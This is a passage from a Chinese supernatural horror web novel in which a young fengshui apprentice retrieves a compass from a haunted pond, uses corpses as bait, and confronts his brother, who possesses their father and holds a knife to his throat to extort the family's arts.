干农活儿的人,身上都有把子好力气,再加上这节骨眼上,爷爷劲儿更大。 远处,那身影消失不见,隐匿进了夜色中。 我呼吸略重,收回视线,将我爸接过来,由我自己背着。 闷不做声,我从另一个方向,朝着村子南边儿小跑。 爷爷紧随我身后,白姝灵先是跟着我,之后不知道什么时候响起了鸡鸣声,她消失不见。 当我们回到黄土坡的时候,黑夜被一丝丝鱼肚白所划破,天,彻底亮了。 天亮,鬼就不会出没。 可我心里却没有丝毫的松懈,反倒是紧绷着好几根弦…… 陈梁生……居然要控制我爸,杀死爷爷!? 他还想要从爷爷口中,知道祖坟的下落啊! 难道说,他不需要这个信息了? 还是他已经知道,我和爷爷去过祖坟,将东西拿了出来!? 对比起人来说,我反而觉得,鬼怎么好对付一些呢? 披着人皮的胡喋,诡谲多变,阴险狡诈。 还有陈梁生,看着一表人才,内心却不知道多少阴毒勾当。 当年奶奶那么听信于他,那么相信他,才会被他迷惑,这些年来,虽说不知道奶奶什么时候被陈梁生控制的,但她对陈梁生的好,一定无法被掩埋。 陈梁生……却为了利用让我们去仇视“胡喋”,将奶奶残忍杀死…… 脑子浑浑噩噩,走到土窑洞外。 爷爷在我前边儿一些,他没有驻足,继续往前走。 不多时,我们走到黄土坡尽头的陂院下,一眼就瞧见老桃树下奶奶被死死拴着的尸身,地上湿漉漉一滩水,可想而知,昨夜奶奶肯定诈尸过。 爷爷一直走到门前有个火炉子的位置,才停下来。 我早就精疲力竭了,将我爸放在地上,他还是昏迷不醒。 窑洞门被推开了,晃晃悠悠走出来个人,正是瞿大娘。 只不过,瞿大娘印堂发黑,眼圈更是一片漆黑。 她没有上一回那样的疯癫。 爷爷能劝她出手帮忙,两人必然就说通了很多事情。 怔怔的看着我们,又瞅了一眼地上的我爸,瞿大娘的双眼,最终还是和爷爷四目相对。 “事成了?”瞿大娘问。 “成了,没全成。”爷爷满脸倦意,将昨晚上一系列经过,解释给瞿大娘听。 瞿大娘的脸色一变再变,嘴角不停抽搐着,表情似哭似笑。 “原来是祸水东引,借刀杀人……” “你们闯祸了,他掉进了锁龙井,都活着爬出来了,那锁龙井里的东西故意放他的……就是要针对老陈家……” “完了,老陈家要彻底完了!” 瞿大娘看待事情的角度,完全不一样。 我们觉得陈梁生没死,是让人心烦,让事情变得复杂化。 她却提到了陈梁生不死的原因……这就是当局者迷,旁观者清! “走!你们走啊!滚!滚出去!滚得越远越好,滚出黄渠村!”瞿大娘猛地一搡爷爷的肩膀,让爷爷趔趄后退好几步。 随后,瞿大娘又用力一搡我胸口,我同样趔趄后退。 “为什么要走?待在这里,难道不行吗?我爸没事了,爷爷没事了,我好好待在这里,学本事,这里有很多鬼,陈梁生不敢来,胡喋不敢来,我学会了老陈家的祖业,难道还不能报仇?”止住脚步,我眼眶微微泛红。 陈梁生狠毒。 他做的事情,比胡喋对我做的那些事儿,更让我觉得憎恨,完完全全突破了我的底线。 我们一家人,已经被他害死了两个! 甚至今天晚上,爷爷都险些死在他手里! 胡喋伪装成老鳏夫时,说的有一句话没错。 我不能总让人害。 总让人牵着鼻子走吧? 还有,我自己也有见解。 我总不能一辈子活在另一个人的阴影中! 瞿大娘阴恻恻的盯着我,忽然笑了起来,才说:“你不走,他是不敢来,可他为什么要来,他可以去凿井。” “你觉得,锁龙井里的东西,真就平白无故的放了他?” 瞿大娘的情绪,太多变,太诡谲,太没有规律。 先前她还暴躁,这会儿,她就只剩下阴冷。 “我管你们做什么呢?今晚的事情管了,就当一切翻了篇, 好言难劝该死的鬼,爱走走,不走随你们的便。”语罢,瞿大娘居然一转身,回了窑洞里,砰的一声就关上门。 爷爷满脸的阴晴不定,我脸色同样微微苍白。 走上前,爷爷咚咚咚的敲门,他喊了几句瞿大娘,屋里没有丝毫反应。 “嗐……”爷爷重重叹了口气,又喊:“老姐姐,你真就不打算开门吗?” 爷爷没敲门了。 安静了大约半分钟,门吱呀一声,又开了。 瞿大娘红着眼,死死的盯着爷爷,她尖声骂了句:“滚啊!你自己说的,别提那些恶心人的话!” 第61章 傻爹 爷爷和瞿大娘之间,有着不可告人的关系,我脑袋里冒出一个念头。 下一刻,瞿大娘又笑了起来,她捧腹大笑,眼泪都要淌出来了。 “陈建业,你说你可笑不可笑,老陈家的人呐,不是一口唾沫一颗钉吗?” “那,吃水不忘挖井人呢?”爷爷再开口,老脸上却多少有几分燥红。 “该说的,说完了,滚出黄渠村,没本事,就别回来,这就是你孙子唯一的选择!”瞿大娘那又哭又笑的脸,再度恢复冷漠。 “砰!”这关门声更重,更响。 爷爷没继续敲门。 我心里清楚,这一次就算爷爷把手敲烂,瞿大娘都不会开门。 两人明明四目相对,却还是话中有话,太隐晦了。 “走,棺生。”爷爷疲倦的回过头,走出这倚着黄土坡的小院。 我将我爸扛起来,跟他出去时,本能瞟一眼拴在桃树下的奶奶。 一路回到土窑洞里,爷爷坐在桌旁发呆。 我去烧水泡面。 隐约听到响动声,扭头瞟一眼,爷爷居然正在掐我爸人中。 只是我爸一点儿动静都没有,死气沉沉的。 “吃了这一餐,咱们就离开黄渠村,是,眼下你奶奶死了,咱们安然无恙,留在这里干什么?换个地方,过不了日子吗?得保证安全才行,总有回来的一天。”爷爷嘴里碎碎念着。 我没吭声。 的确,胡喋身上的皮被老鳏夫夺走。 陈梁生手里没了牌。 我可以躲在这里学艺。 可危险,远远远远不止是他们,瞿大娘所说的才最关键。 陈梁生从锁龙井里爬出来了,他可以凿井! 一旦井里头的尸鬼被放出来,那才是老陈家的灭顶之灾,才是我的灭顶之灾! 当局者迷,旁观者清。 我一眼没看穿这些,瞿大娘看穿了。 我先前坚持不走,她才说,好言难劝该死的鬼! 水烧好了,倒进面碗,封上盖子,我提醒爷爷,先别掐我爸了,我爸上嘴皮都快被掐烂,他被陈梁生用符控制那么久,估计得好好休息才能醒过来。 爷爷这才松手,复而看向我,问:“棺生,你听见我刚才的话了吗?” “嗯,走。”我回答。 爷爷脸色顿轻松许多,说:“好,咱们先走远点儿,等回来的时候,和他们算账!” 心里,忽然落空半拍。 我想到白姝灵…… 不,其实不是白姝灵,而是那死水潭子里的罗盘。 多多少少,我被白姝灵“蛊惑”了,我揣测白姝灵身上还有一个主导的意识。就是那一部分白姝灵蛊惑我去拉出死水潭子下边,她的尸身。 结果将老陈家的罗盘留在里边儿。 如果我不去,爷爷和瞿大娘昨夜的配合,一样能对付“胡喋”。 阴差阳错,我遗失老陈家一件至关重要的法器。 要学好风水术,怎么能少的了罗盘? 把泡面分给爷爷一桶,我闷不做声,在一旁呼啦呼啦的吃着。 很快,面见了底。 “爷爷,今天不走,我有一点点事情,解决了,咱们明儿离开。”我慎重的说。 “啥事儿?”爷爷问我。 我迟疑片刻,才解释了昨天遇见他之前发生的事儿。 当然,我没解释白姝灵本身的“两样性”。 将事情说清楚,将目的说清楚就好了。 “嘶……”爷爷倒吸一口凉气,脸上才格外苦恼:“水尸鬼……很难对付啊……” 爷爷是经历过当初河伯娶亲的人,他比我清楚水尸鬼多难缠。 说实话,我除了看它们长得恐怖瘆人了点儿,还真不知道它们有多大本事。 “你这鬼婆娘,除了那晚上帮了一点忙,怎么就尽添乱。”爷爷愁眉苦脸。 “我去找瞿大娘吧。”他随即站起身来。 “别去了爷爷,去了也是吃闭门羹,她不想看见咱们。”我拉了拉爷爷胳膊。 爷爷僵站几秒钟,忽然说:“你睡一会儿,养足精神,等过了中午,咱们去死水潭子看看,这大白天的,水尸鬼应该得藏着吧?鬼不现身,咱们把罗盘拿出来!” 他斩钉截铁。 我苦恼摇头,才说:“水尸鬼不是鬼,白姝灵说它们活着,我也不知道是它们究竟是什么东西。” 爷爷:“……” “那就只能等晚上,让你那鬼婆娘,再将它们引走一次了。”爷爷说。 我嗯了一声。 随后爷孙两进了内侧的屋子,我睡床上,爷爷照旧地铺。 很快爷爷睡着了,我没睡着,却也不敢翻来覆去吵醒他。 我总觉得,事情没那么简单。 一件方法,第一次用的是天才,再照葫芦画瓢用第二次,那就是蠢材了。 药还有耐药性,水尸鬼难道就没有防备? 恐怕还得和白姝灵沟通。 只希望,她别出什么问题,还得是那个乖巧听话的她,才方便办事儿。 困意逐渐涌来,这段时间我都没好好睡过觉,很快,就死沉沉的睡过去。 再等醒来的时候,地铺旁边多了个人,双手抱着膝盖,蹲坐着一动不动。 “爸?你什么时候醒的?”我撑着坐起身来,地铺上的人,正是我爸。 只不过,我爸显得很木然,眼神透着一丝丝呆滞,血丝很重。 “爸?”我再喊了一声,他还是没反应,只是傻愣愣的扭头,笑了笑,活像是个二愣子。 爷爷迷迷糊糊睁眼,一样坐起身来。 “陈勇?”爷爷伸手在我爸面前晃了晃,又喊了他一声。 我爸一手薅过他手指头,竟然张嘴就咬了一口! 爷爷疼的一激灵,直接将我爸给搡开了。 我爸摔了个四脚朝天,哇的一声就哭了出来。 我人傻了。 我爸傻了? 我翻身下床,爷爷更赶紧起身,将我爸搀扶起来。 爷爷焦头烂额,不知道如何是好。 我凑到近前,又喊了我爸几声,他是真傻,不是假傻…… 人是没哭了,却坐起来,嘬自己的手指头。 “完了。”爷爷脸色煞白。 我心里头却像是压了个秤砣似的难受,好个陈梁生,杀了我奶奶来祸水东引,又弄傻了我爸,这样一来,即便他失手,也一样给了我下马威? “遭瘟的畜生呐!”爷爷骂着,他捂着心口,都快喘不上气。 随后,爷爷腾地一下站起身,作势要往外走。 脚步又戛然而止,满脸沮丧无力。 “君子报仇,十年不晚。”爷爷从牙关里挤出来一句话:“棺生,你得记住了,母死父傻,此仇不报,誓不为人啊!” “还有奶奶。”我只能强忍着那股难受,却依旧觉得,心在滴血。 我爸忽然双手杵地,像是狗一样爬出房间,爷爷赶紧跟出去,我随后跟上,却瞧见我爸坐在桌旁,端起先前爷爷剩下的泡面汤,津津有味的喝了起来。 纵然爷爷胸腔有恨意支撑,他还是一瞬间苍老了十岁,腰背都一阵伛偻。 外边儿的天,却快黑了。 “爷爷,你晚上守着我爸,我一个人去死水潭子。”我极力使视线从我爸身上挪开,看向土窑洞外。 夕阳正在挣扎着,逐渐落下帷幕,夜幕开始吞并仅剩的天光。 “不行,多个人,多一点……”爷爷话还没说完,我就打断。 “万一我爸跑进村呢?他又要落在陈梁生手里边儿,这一次,就不是成傻子,是成死尸,你看着他,人活着,总比没有了强。”我语气笃定。 爷爷一下子不吱声了。 稍一思索,我从身上取出来两样东西,分别是葬经百解和神相千壳。 我意思是,要下水,这东西让爷爷拿着,我省的还得脱衣服,麻烦事儿。 爷爷却直摇头,说老陈家的家业,无论如何得在我身上,万一他拿着,今晚他又被陈梁生杀了呢?这都是说不准的事儿。 第62章 喂河伯 这段时间经历的事情多了。 陈梁生不光是我的心头阴影,更成了爷爷,甚至是我们一家人心头的魔障,才会让爷爷升起他可能随时会被陈梁生杀死的念头。 “行,我知道了爷爷,你今晚上切记,哪儿都不要去,就待在这里,明白了吗?” “你也别去找瞿大娘了,该求的你求过了,人不帮,你再怎么说都没用。” “我把东西拿回来,咱们就找个安全的地方藏身,像你说的那样,君子报仇,十年不晚!”我字句凿凿。 爷爷总算点点头,答应下来。 我从土窑洞里出去,顺着靠墙的瓦罐坟往前,经过最当头的瓦罐坟,爬上黄土坡。 五六分钟后才找到个位置,有一堆破砖烂瓦,周围无人烟痕迹。 刨开地面,将两本书,手机藏进去,我身上就一根寻龙分金尺,没有其余怕水的东西了。 不知觉间,天黑了,白姝灵出现在我身边,看着藏书之地。 “你还有什么办法能将水尸鬼骗走?”我沉声问。 语气,多少有些冷硬,昨晚的事情,让我对她有了几分隔阂。 白姝灵却楚楚可怜,她侧头,怔怔看我,甚至要潸然泪下。 “相公,你不要我了吗?”她手不知道什么时候,握着我衣摆小小一角。 我一愣。 我在说什么,白姝灵又在说什么? “你不能抛下我,嫁鸡随鸡,嫁狗随狗。”白姝灵居然哽咽起来,腔调变得哀怨,细婉:“爹死了,如果你也不要我,我就是孤魂野鬼,无家可归……” 我冒起了一阵鸡皮疙瘩。 白姝灵以为我不要她了。 是她过于敏感,还是我态度太冷漠,挫伤了她? 只是,我态度也没有那么冷淡啊。 回想起来过往经历,其实除了昨夜,白姝灵都没有凶过我哪怕半分。 语气缓和不少,我说:“我只是想将罗盘拿回来,你在想什么?” “啊。”白姝灵眸子里一阵迷惘,她小心翼翼擦拭眼泪:“只是罗盘吗, 可以的,是可以的!嗯嗯,好。” 擦完泪,白姝灵认真说:“黄渠河昨夜再次断流,我魂魄都在这里完全离开尸身,它们不会再躲进河伯庙,会一直待在潭水里。” 我忽然想明白,当年白姝灵被投河堵水口穴眼,生气冲尸,尸化河魁,对付了水尸鬼,那日我将她尸体从穴眼中拽出,她完整的魂魄到了我身旁。 两份魂魄分别太久,各有意识,才会造成她性格的突然转变? 她常年待在尸身中的魂,还是想要尸身,昨晚才会借口能对付“老鳏夫”胡喋,让我去拉尸体。 眼下尸中无魂,不能震慑水尸鬼,它们自然能在死水潭子中活动,癞疙宝都无一幸免。 逻辑很明确,问题更直观摆在眼前。 只能由白姝灵引开水尸鬼,我潜入水中取罗盘。 一切思绪都在转念间完成。 白姝灵话音未顿,慎重说:“我骗不到它们了,它们知道我身边有个你,两次三番,不可能继续上当。” “不过,水尸鬼好食尸,虽然黄渠河短暂通流后昨夜又断流,但下游还是有水,若水中出现尸体,它们就会跑出来大快朵颐,又因为断流,它们会来的慢,回去更慢,只要你不动我的尸身,它们就不会立即发现,咱们只拿罗盘,应该能安然无恙。” 她这番说法,和我想的截然不同,更严谨,却……更麻烦…… “水中怎么会有尸体?刚蓄水的河道不可能淹死人的。”我摇摇头。 白姝灵沉默片刻,才说:“黄土坡有很多尸体,挖两具出来,就够了。” 我:“……” “疯了?”我脑袋摇得波浪一样快。 开什么玩笑。 瓦罐坟里是有尸体不假,可那些大爷老妪,天天夜里头四处晃荡呢。 把人尸体给整了,不得找我报复? 况且,现在我们还住在黄土坡,不想活了才去动瓦罐坟。 “他们不会闹的,成了鬼后,除非尸身化煞才会想要尸身,其它时候尸体是累赘,因为他们死在瓦罐坟里,导致不能离开黄土坡太远,如果将他们尸体丢河里,因为旧河道的关系,他们的魂魄甚至能走到村口的位置,解开束缚枷锁,他们会感谢我们。”白姝灵认认真真的解释着。 一时间,我不知道怎么形容。 “未免夜长梦多,相公,相信我,好吗?”白姝灵认真极了,更乖巧极了。 重重一吐浊气,我点点头。 随后,我们下了黄土坡,恰巧我上坡的位置就有个瓦罐坟,尝试性的推了推坟口砖石,用黄泥糊成的墙,一下子就坍塌半截。 一股难闻的尸臭味扑面而来,令人作呕。 月光注入瓦罐坟里,能瞧见个小老太太,饿得骨瘦嶙峋,蜷缩在坟口一侧。 因为死得冤,她尸体没有腐烂。 “这应该算化煞吧?”我问了白姝灵一句。 风水才学了个皮毛,这些东西我都不懂,只认为,正常尸体就腐烂了,所谓化煞,就是不腐?那这尸身,我不能碰? 白姝灵还没回答我,我另一侧,就传来个细哑的老妪声:“我没那狠心哩,当年家里儿子媳妇,生了三个大胖孙子,我少吃一口饭,孙子就多吃一口哇,这地方怪冷的,让我骨头没烂掉,得想报仇,才会长白毛。” 余光一瞟身侧,六十来岁的老妪,瘦得衣服搭在骨架上似的,她咧嘴和我笑。 我魂儿都快被吓飞了。 “陈家小子,你们两口子,打算把我这把老骨头挪哪儿去哇?”老妪显得很欢喜。 “扔河里,喂河伯。”白姝灵答了一句。 “哎,好,好啊!河伯要娶女,可我们这把年纪的死老太太,还能当河娘子吗?” 老妪显得诧异。 “去了就知道了。”白姝灵轻言细语。 我稍稍镇定一些,白姝灵指指旁边瓦罐坟,让我继续挖。 很快,我打开另一个瓦罐坟,先后将两具尸体拖出来。 那尸臭味真的直冲天灵盖。 好在尸身很轻,我一手夹着一个,轻轻松松能走道。 白姝灵在前边踮着脚尖带路,我紧紧跟随,身后还跟着两个老妪,她们低头窃窃私语。 鬼使神差的,我往后瞟一眼,发现黄土坡上上下下,密密麻麻站着不知道多少鬼,全冲着我们摆动手臂。 那模样,像是和老朋友道别…… 第63章 两种性格 瓦罐坟里的鬼,真的这么好接触? 那为什么,这黄土坡能让假冒“老鳏夫”的胡喋,以及陈梁生不敢过来? 我小声问了白姝灵一句。 白姝灵轻声回答:“是因为,以前的老陈家呀,他们每逢一段日子,就放粮,接济百姓,有老陈家在的时候,瓦罐坟都要少死很多老人,之后老陈家败了,瓦罐坟的人才多起来,不过,谁家没吃过老陈家的救济粮呢?” “相公,你以为,是我有多大本事吗?”白姝灵眸子扫了一眼后方。 我懵了。 绕来绕去,话居然又绕回了老陈家上边儿? 那爷爷说,吃过葛大爷一斗米,其实,也算是那位葛大爷还恩? “只要相公你待在黄土坡,瓦罐坟里的老人家都会护着你,可那个瞿大娘说的没错,锁龙井里的凶尸太难缠,万一出来了,你就活不下去,走才是上策。”白姝灵轻言细语的解释。 点点头,我表示明白了,又沉默。 终于我们走到了一处地方,能看出来这是旧河道一处位置,远眺能瞧见小学,以及死水潭子。 这一段河道距离小学和死水潭子之间有些距离,形成一个马蹄状的弯钩深渠。 圆月照射在深渠表面,水还很清澈。 “扔进去吧相公。”白姝灵说。 我鼓足气,将两具尸体抛入深渠中。 那两老妪却相视一眼,没有停在原地,尝试着沿河道边缘,往村口的方向去了。 到了这位置,魂魄能活动的距离更远,和白姝灵所说的一样,她们毫不在意自己的尸身会怎么样。 “跟我来。”白姝灵踮着脚尖,快步走到远处的一颗柳树后。 我立即跟上她,她安安静静的瞄着死水潭子的方向。 这位置距离昨晚的荆棘树林更远,只有模糊的视野。 等了差不多五六分钟,那两个老妪鬼完全不见踪影。 暗沉的夜色中,逐渐有一些大头,长手,短身体,短腿的“人”,从死水潭子方向爬往这一处的深渠,它们的速度很慢,形成了一条长长的水渍,在月光下折射出一条亮银色的痕迹。 “走。”白姝灵轻声提醒,她绕更远的路,完全规避被水尸鬼发现,又从正面回到死水潭子处。 地上的水渍还在扩散,潭水外,断流河道里是一连串的脚印,手印。 死水潭子荡漾着涟漪,阴气森森。 我三两下脱掉衣服,憋气,直接跳进水中,残缺不堪的癞疙宝依旧在潭水里飘动,它们和昨夜不一样,此刻是死透了…… 在风水的说法中,生气中的地方,能吊命,癞疙宝死而未死就是这个原因。 寻龙分金尺别在裤头上,我游动的速度很快,没要多久便到了水底。 十八个河娘子静静的飘在淤泥上,就像是水草一般摆动,头发四散。 白姝灵则被数根铁链拴着,那些铁链像是缩短了似的,她尸身都紧紧贴着河床。 我找到她身旁的罗盘,毫不犹豫拔了出来。 这一瞬,一股巨大的水流冲撞在我身上,冰凉的潭水变得温热。 安静不动的十八个河娘子,瞬间像是绽开的血花,要朝着我扑来。 我憋足了气,顺着那股水势,身体在水中都扶摇直上。 更因为手中有罗盘,她们不敢上前伤我。 余光中,似是还有什么动静。 我侧头往下一看,居然是白姝灵的尸身,正在用力的挣扎,想要挣脱开铁链! 尸身怎么又能动了? 河娘子能动,没问题,罗盘从水口穴眼挪开了。 白姝灵尸身能动,是她魂魄回去了? 不,是她另一部分意识,又主导了思绪? 我正这样想,视野迅速模糊,身体被冲出来的水势,瞬间拱出水面。 大口大口的呼吸着,我快速往岸上游。 等到了岸边,头上忽然来了一股大力,是一只脚,直直踩在我头顶! “你就这么上来了?” 清冷的话音,带着一丝浓郁不满。 赫然是白姝灵,她果然被另一个思维给支配了! “下去,把我带上来!”她眸子更冰冷。 “不要!”固执倔强的话音,又从她口中传出! 两个性格,两种腔调! 我快速侧身,直接爬上了岸。 拉起衣服,我三下五除二的套上。 一回头,白姝灵居然消失不见…… 衣兜里的小人并没有沉甸甸的质感,她没回来,是又下了水底? 死水潭子的上涌,导致水流再度灌入断流的河道中,淹没了那些手印,脚印。 这种上水的速度,怕是那些水尸鬼,等会儿就不用爬,而是游回来了。 一切有惊无险,我不敢在原地驻足,快步远离。 眼下尸体从堵穴眼的地方出来,这里就禁锢不了白姝灵的魂魄,她还是能回到我身旁的。 我隐约有个揣测,为什么她另一部分魂魄,非想要尸体? 恐怕和瓦罐坟那些鬼一个道理,她即便是不受困在尸身中,那也不能距离尸身太远,除此之外,她能活动的区域,就只有我身旁附近,因为我们之间有阴魂,我身上有她衣物做成的小人! 尸体只要上岸了,再加上她本身肯定化煞,她就能获得“自由”? 当然,她认为的自由是不受约束,她另一部分和我朝夕相处的魂魄,则认为,嫁鸡随鸡,嫁狗随狗? 当我思绪停下时,脚步同时停下,所处的位置居然在村子南头。 呼哧呼哧的喘气,跑了太久,小腿都一阵阵抽筋儿,半晌,我才堪堪缓过来一点劲儿。 兜里沉甸甸的,是白姝灵回来了! 只是她没现身。 这让我心都定了不少。 没有进村的打算,我又要回黄土坡。 罗盘拿回来了,我们就能暂时离开黄渠村,离开这是非之地。 正转身要走呢,余光中又瞧见一人,他慢吞吞的走出村南口,往我走来。 我脑袋嗡的一下,看清楚了,走过来的不是普通村民,居然是老鳏夫! 这是真正的老鳏夫,无皮尸披上了尸皮,并非是假冒的胡喋! 月光太清冷,隐约能瞧见老鳏夫的鼻子,嘴眼这些地方,都有不小的空隙,即便是自己的尸身,没有通过特殊处理,依旧能看出不少皮褶子…… 第64章 最出息的大儿子 “胡喋”想要用我换具身子。 陈梁生想要老陈家的祖业。 老鳏夫呢? 他作为无皮尸时,被镇压在坟墓中,拿回皮后,来找我,想要什么? 随着老鳏夫不停靠近,碎语在耳边回荡。 “还给我……” “还给我……” “还给我……” 我只觉得一阵恶寒,快速远离老鳏夫。 他真成了一个彻头彻尾的尸鬼,还是个癫鬼,他将皮都要回去了啊。 还一直念叨着还给我…… 是因为被剥皮惨死,导致他一样要剥皮害人? 一直跑进了黄土坡,我才敢停下来喘口气。 没多久,老鳏夫就追上来了。 他还是一直念着,喊着还给我三个字,不过,他不敢往里走了。 黄土坡的外沿,悄无声息的冒出来一片老头老妪,直愣愣的瞅着老鳏夫,仿佛他一进来,就会被撕烂成碎片! 我再拔腿,朝着土窑洞那里跑。 当我跑到门口时,爷爷正躲在门后边往里张望,他谨慎极了。 瞧见我,爷爷稍有欣喜,还有一丝急迫。 “成了。”我掏出来罗盘。 爷爷的欣喜,顿成了大喜过望。 “没出什么大事吧?什么东西跟上你了?我看好多鬼都过去那边儿了。”爷爷又谨慎问我。 这位置,他自是看不见老鳏夫。 我简明扼要解释几句。 一时间,爷爷脸上都是惆怅,叹了口气说:“你老丈人,一样是个可怜人,自打来了黄渠村,就没一天安生日子,好端端个风水先生,死老娘,死婆娘,死女儿,自个儿都搭在黄渠村了。” 一时间,我沉默无言,不知道怎么接话。 “甭想那么多了,惹不起,躲得起,天亮了再走吧?”爷爷小声问我。 无形之中,我们老陈家的主心骨,落在了我身上。 我看了一眼痴痴傻傻的我爸,点点头说:“天亮走。” 因为白天一直睡觉,我晚上一点儿困意都没有。 我爸倒是傻愣愣的进了房间,很快就传来呼噜声。 爷爷和我一样,睡不着觉。 他问我,怎么不看看书?他见我之前都很刻苦,有这时间,能学一两样风水术了。 能看出来,爷爷很急。 我才告诉他,先前要下水,他没收下书,我就找了个安全的地方藏起来,明天走的时候才去拿。 爷爷恍然大悟,他没多言了。 两人又这么僵坐了一小段时间,困意又莫名涌了上来,爷爷一样哈欠连天。 正因此,我们都回里屋睡觉了。 睡得迷迷糊糊时,我察觉到轻微的凉意抚过脸颊。 眼睛刚一睁开,就听到非常轻微的嘘声,是让我不要有声音。 在我眼前的是白姝灵。 侧着头,十分小心谨慎的白姝灵。 她在看另一个方向。 其实是里屋的门帘子那里,我爸,居然蹑手蹑脚的掀开帘子,走了出去。 他还是那副傻愣愣的神态。 爷爷熟睡着,没有察觉,若非白姝灵喊醒我,我也不会察觉。 脚步声逐渐远离。 白姝灵细弱蚊吟的说:“他翻了你的衣服,不敢碰罗盘和那把尺子,他傻,是因为有一道魂被抽走了,有人在控制那道魂,一旦他碰到镇物,可能会出事。” “他在找书。” 鸡皮疙瘩瞬间密布全身,我眼珠子瞪得铜铃一般大。 还以为陈梁生的手段到此为止了。 可没想到,我爸的“痴傻”都是他算计的一环,要么我爸明面上得手,要么失手,被我带回来。 暗地里,陈梁生还有手段? 这简直是一套又一套,算盘太深,太可怕了…… 要是书留给爷爷,后果,我不堪设想。 陈梁生会控制我爸,父子相残! 书若是在我身上,恐怕等白姝灵反应过来的时候,已经被我爸拿走? 毕竟,没有目睹我爸的一系列行为,白姝灵也不能判断什么。 我爸看上去的确是痴傻了,她总不能拦着我爸不让他靠近我吧? 正想要下床,跟上我爸。 白姝灵又做了一个嘘声的动作,轻声说:“相公,你别去,会被发现,我也不去,他想不到的。” 我没吭声。 应该找不到吧? 我藏书的地方,太远了。 只是,心里却更难受。 这样一来,我还能将我爸带着离开吗? 不亚于带了陈梁生的耳目,一个“定时炸弹”。 我没睡觉了,一直睁着眼,看着土窑洞的墙壁。 白姝灵出去过一下,一两分钟就回来了。 她告诉我,是叮嘱了瓦罐坟的那些鬼婆婆,鬼爷爷,帮忙瞅着一下我爸,不要让他离开黄土坡瓦罐坟的范围。 人撞鬼的话,会被鬼打墙,一直在一个地方转圈儿,天亮才能醒转。 有这一层防护,我知道,书更安全。 时间一点点过去,有种分秒度日般的煎熬感。 终于,天亮了。 我腾地一下坐起身来。 出房间,却瞧见我爸好端端坐在木桌旁,他咧嘴,冲着我笑了笑,又啊的张大嘴巴,是示意自己要吃饭。 我的动静太大,将爷爷吵醒了。 他出房间后,打着哈欠,去给我爸弄吃的。 昨夜的事情,爷爷不知情。 我爸能坐在这里,就代表他昨夜没得手,否则早去了陈梁生那儿。 我盯着我爸的双眼,呼吸有种抑制不住的粗重,他歪着头和我对视,眼珠子分外浑浊。 “陈梁生。”我哑声,一字一句:“你!真的!够了!” “梁生?儿子,嘿嘿,最有出息的大儿子!”我爸似乎欢腾起来,双手用力拍着,响亮的巴掌声中,他又在嚎着:“陈家都指着梁生了哩!” 爷爷一个激灵回过头,迷惘的看我,又浑身僵直的看我爸。 下一刻,我爸歪头忽然一下子立起来。 他手冷不丁抬起,不知道从哪儿摸出来一把匕首放在脖子上,刃口划着皮肤,溢出了一股血线…… 随即,血顺着刀身流淌! 爷爷吓懵了。 我身上汗毛根根倒立。 “你想跑?行,你可以跑,把陈家的风水术和算命术留在这里。” “不然的话,你不光是没了奶奶,你,还得没爸,从此以后,你就只剩下个光杆爷爷,我也会很快杀了他!” 我爸口中发出的声音喑哑极了,完全不是他本人。 是陈梁生! 第65章 弥天大祸 陈梁生的本事太古怪。 不光是通过符控制活人,居然还能把人魂拔了一部分,再上身人。 或者退一万步说,是我本事太弱,看不出他的手段是什么,也是对这一方面的认知也太低,常识薄弱。 总归,我只能现在戳破窗户纸。 因为我爸,是极大极大的隐患! 思绪间,我骤然从腰间拔出来一物,是寻龙分金尺。 扬起胳膊,只是我一尺子还没砸下去,陈梁生冷笑的话音就从我爸口中传出。 “我切他一刀,他死了还能投胎,你拿这尺子碰他一下,他可就是魂飞魄散,别说下辈子,这辈子连鬼都当不成!” 手顿然僵住,我死死瞪着我爸的脸,那愤恨的神态,是在看陈梁生。 他缓缓从桌旁站起身来,阴沉沉看着我,说:“你本来就是个死人,你该死,不该活。” “陈家的一切,本来就是我的,十年!没有你的那十年,爸妈对我多好啊,什么都可着给我,村里那些小孩喝米汤,我吃奶粉,他们吃糖稀,我嚼奶糖,我叫陈梁生,我就是陈家挑梁的主儿,可自从你出现,这一切就变了!” “他们无时无刻,都在想着,应该如何对你好,他们忘了我,忘了我才是大儿子。” “没生出来的娃娃,根本就不是个东西,你明明都保不住了,那个死婆娘,就非要保住你,非要活葬!那个该死的老鳏夫,仗着自己学了点风水术,就非要插手!” “可你呢?你有几分好?读书?读出了个什么?你在我眼里,连个屁都不算!” “你最多算是捡走一条命,还是我今天怜悯你,毕竟那个死婆娘,也是我妈,我怜悯你算是我兄弟,蟾山里的那玩意儿要杀你,我不给他机会杀,可不该属于你的东西,你别碰,老老实实滚远一些,去当个普通人!这没什么不好!” 我爸的神态很狰狞,不是他,是控制着他的陈梁生狰狞! 屋内,属于陈梁生的声音,更在回荡不止。 他提到了蟾山。 那玩意儿,就是锁龙井中的凶尸! “你,有那么好的心吗?能杀我,你不杀?” “是因为你杀不了,你进不了黄土坡,你只能用这种方式,威逼利诱?” “你怜悯我?真谢谢你,我不需要你怜悯,我只会找你报仇!” “你曾经是陈家的大儿子,可时至今日,你早已不是,你只是一个魔鬼!” “陈家的家业,你不配!” 我言之凿凿,更是字句铿锵。 我爸口中发出陈梁生的狞笑声,他似乎陷入了癫狂。 那匕首尖儿,正在刺穿我爸更多的皮肤,血本来是线状,此刻却一股淌出。 “真够恶毒的,眼见爸要被杀,你居然都无动于衷,冷血至极。”我爸摇着头,陈梁生的语气更显得厌恶。 我心都在滴血,可我没有别的选择。 交出一切,就会有好的结果吗? 老陈家的祖业给了陈梁生,他就会放过我?就会放过爷爷和我爸? 不会,他会斩尽杀绝。 他这么狠的人,必然懂一个道理,野火烧不尽,春风吹又生。 甚至,那时候我都没有丝毫的反抗之力了,任何仇都无法得报,只能让他一个人逍遥自在。 爷爷在哭,浊泪一直往下流淌,他痛苦极了。 我爸眼眸里,透出陈梁生一股歇斯底里的恶毒疯狂。 他的手,就要猛推匕首! “记住了陈棺生,爸是你害死的!” 就在这时,一声尖锐刺耳的爆鸣声钻入屋内。 是锣声。 只不过这锣声太重,太响,似乎都形成了破音,像是锣被锤烂了。 我爸的手,猛地一下垂落在桌上,匕首没有了推动和握着,哐当一声落下,直挺挺插在桌面。 他双眼显得呆滞,又伸手去摸脖子,舔了舔手上的血,脸上露出吃痛,格外煎熬难受。 泪眼婆娑的爷爷,骤然一扭头,瞪着屋外。 一个人慢吞吞走了进来,正是瞿大娘。 瞿大娘胳膊里还搂着一个筲箕,放着一些吃食。 她另一手持着一个顶端裹着布的槌子,其腰间拴着一块锣,是槌子击打锣面,发出的声响。 